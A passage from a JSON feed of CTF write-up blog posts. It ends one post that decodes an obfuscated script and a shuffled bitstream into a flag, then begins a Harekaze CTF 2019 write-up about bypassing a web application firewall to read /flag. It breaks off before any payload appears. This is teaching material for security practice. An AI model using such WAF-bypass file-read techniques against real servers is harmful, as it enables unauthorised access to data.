class=\"s1\"\u003e\u0026#39;length\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003em\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;fromCharCode\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003es\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;charCodeAt\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003em\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eStandard obfuscation, but easily \u0026quot;defeated\u0026quot; by inspecting the rendered source in something as accessible as devtools.\u003c/p\u003e\n\u003cp\u003eAt the bottom of the page is a set of 1040 binary bits, in an unknown order, each with its position in the set attached to it.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;list\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;listbox\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;525\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e1\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;642\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e1\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;291\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e0\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;317\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e0\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;792\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e0\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;107\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e1\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;698\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e1\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e \u003cspan class=\"na\"\u003erole\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;option\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-posinset\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;420\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003earia-setsize\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1040\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e0\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c\"\u003e\u0026lt;!-- ... --\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003ediv\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eI made the assumption that this was an \u003cabbr title=\"American Standard Code for Information Interchange\"\u003eASCII\u003c/abbr\u003e bitstream, and the calculation 1040/8 equating to a whole number gave me even more reason to believe it.\u003c/p\u003e\n\u003cp\u003eSince \u003ccode\u003edocument.write\u003c/code\u003e is synchronous, any code afterwards can now read the new \u003cabbr title=\"Document Object Model\"\u003eDOM\u003c/abbr\u003e. Each bit needs to be read out and put at the right position in the set. The length is read only once, because efficiency.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003elist\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003equerySelector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;#list\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eset\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003elen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003econst\u003c/span\u003e \u003cspan class=\"nx\"\u003eel\u003c/span\u003e \u003cspan class=\"k\"\u003eof\u003c/span\u003e \u003cspan class=\"nx\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003echildren\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003eel\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAttribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;aria-posinset\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003eel\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003einnerText\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003elen\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003elen\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eel\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetAttribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;aria-setsize\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe following code loops through the bits in groups of 8, uses bit shifting to create a byte, then converts it to an ASCII character.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003eflag\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003elen\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"kr\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e8\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"o\"\u003e--\u003c/span\u003e\u003cspan class=\"nx\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kr\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003echar\u003c/span\u003e \u003cspan class=\"o\"\u003e|\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e8\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"nx\"\u003ej\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eflag\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efromCharCode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kr\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nx\"\u003econsole\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elog\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eflag\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eRunning this shows the message containing the flag.\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eim gonna add some filler text here so the page is a bit longer. lorem ipsum... here's the flag btw, flag{accessibility_is_crucial}\u003c/p\u003e\n\u003c/blockquote\u003e\n",
      "date_published": "2019-06-30T00:00:00Z"
    },
    {
      "id": "axxOsBN5P652xKsOp82MDw",
      "url": "https://textplain.org/harekaze-encode",
      "title": "harekaze ctf – encode \u0026 encode",
      "content_html": "\u003cp\u003e(\u003cem\u003ePart of a series of writeups from Harekaze \u003cabbr title=\"Capture The Flag\"\u003eCTF\u003c/abbr\u003e 2019.\u003c/em\u003e)\u003c/p\u003e\n\u003cp\u003eThe challenge text reads:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eI made a strong \u003cabbr title=\"Web Application Firewall\"\u003eWAF\u003c/abbr\u003e, so you definitely can't read the flag!\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://problem.harekaze.com:10001\" rel=\"noreferrer nofollow noopener\"\u003ehttp://problem.harekaze.com:10001\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/harekaze-encode/encode-and-encode.tar.gz\" rel=\"noreferrer nofollow noopener\"\u003eencode-and-encode.tar.gz\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eWe are given the source code, a link to the website, and a subtle hint.\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ tree\n.\n├── chall\n│   ├── index.html\n│   ├── pages\n│   │   ├── about.html\n│   │   └── lorem.html\n│   └── query.php\n├── Dockerfile\n└── php.ini\n\n2 directories, 6 files\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe \u003ccode\u003eDockerfile\u003c/code\u003e is the environment the webapp runs in so it's worth taking a look at first.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eFROM php:7.3-apache\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCOPY ./php.ini \u003cspan class=\"nv\"\u003e$PHP_INI_DIR\u003c/span\u003e/php.ini\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eCOPY ./chall /var/www/html\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eRUN \u003cspan class=\"nb\"\u003eecho\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;HarekazeCTF{\u0026lt;redacted\u0026gt;}\u0026#34;\u003c/span\u003e \u0026gt; /flag\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eEXPOSE \u003cspan class=\"m\"\u003e80\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eThe \u003ccode\u003eRUN ... \u0026gt; /flag\u003c/code\u003e line tells us that the flag is in a file called \u003ccode\u003eflag\u003c/code\u003e at the root of the filesystem, a handy thing to know.\u003c/p\u003e\n\u003cp\u003eClicking on the link reveals beautiful modern design.\u003c/p\u003e\n\u003cfigure\u003e\n    \u003cimg src=\"/harekaze-encode/ss.png\" alt=\"Screenshot of a simple webpage with 'Encode \u0026 Encode' heading and navigation links\"\u003e\n    \u003cfigcaption\u003eBeautiful modern design\u003c/figcaption\u003e\n\u003c/figure\u003e\n\u003cp\u003eJavaScript on the \u003ccode\u003eindex.html\u003c/code\u003e page intercepts clicks to \u003cstrong\u003eAbout\u003c/strong\u003e and \u003cstrong\u003eLorem Ipsum\u003c/strong\u003e  and performs a \u003cabbr title=\"JavaScript Object Notation\"\u003eJSON\u003c/abbr\u003e \u003ccode\u003ePOST\u003c/code\u003e request to \u003ccode\u003equery.php\u003c/code\u003e, asking for the contents of \u003ccode\u003epage\u003c/code\u003e.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nb\"\u003ewindow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eaddEventListener\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;DOMContentLoaded\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003econtent\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003egetElementById\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;content\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nx\"\u003elink\u003c/span\u003e \u003cspan class=\"k\"\u003eof\u003c/span\u003e \u003cspan class=\"nb\"\u003edocument\u003c/span\u003e\u003cspan 